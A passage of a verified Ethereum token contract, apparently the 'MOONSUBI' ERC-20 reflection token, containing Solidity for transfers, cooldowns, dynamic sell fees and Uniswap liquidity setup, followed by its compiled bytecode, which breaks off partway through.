account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(1)).div(10); _teamFee = (_impactFee.mul(9)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 1; _teamFee = 9; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (30 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 10000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (240 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600881526020017f4d4f4f4e53554249000000000000000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4d4f4f4e53554249000000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff02191690831515021790555060f042610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b505050678ac7230489e8000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60016009819055506009600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b601e4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960018461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660098461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b6000604082019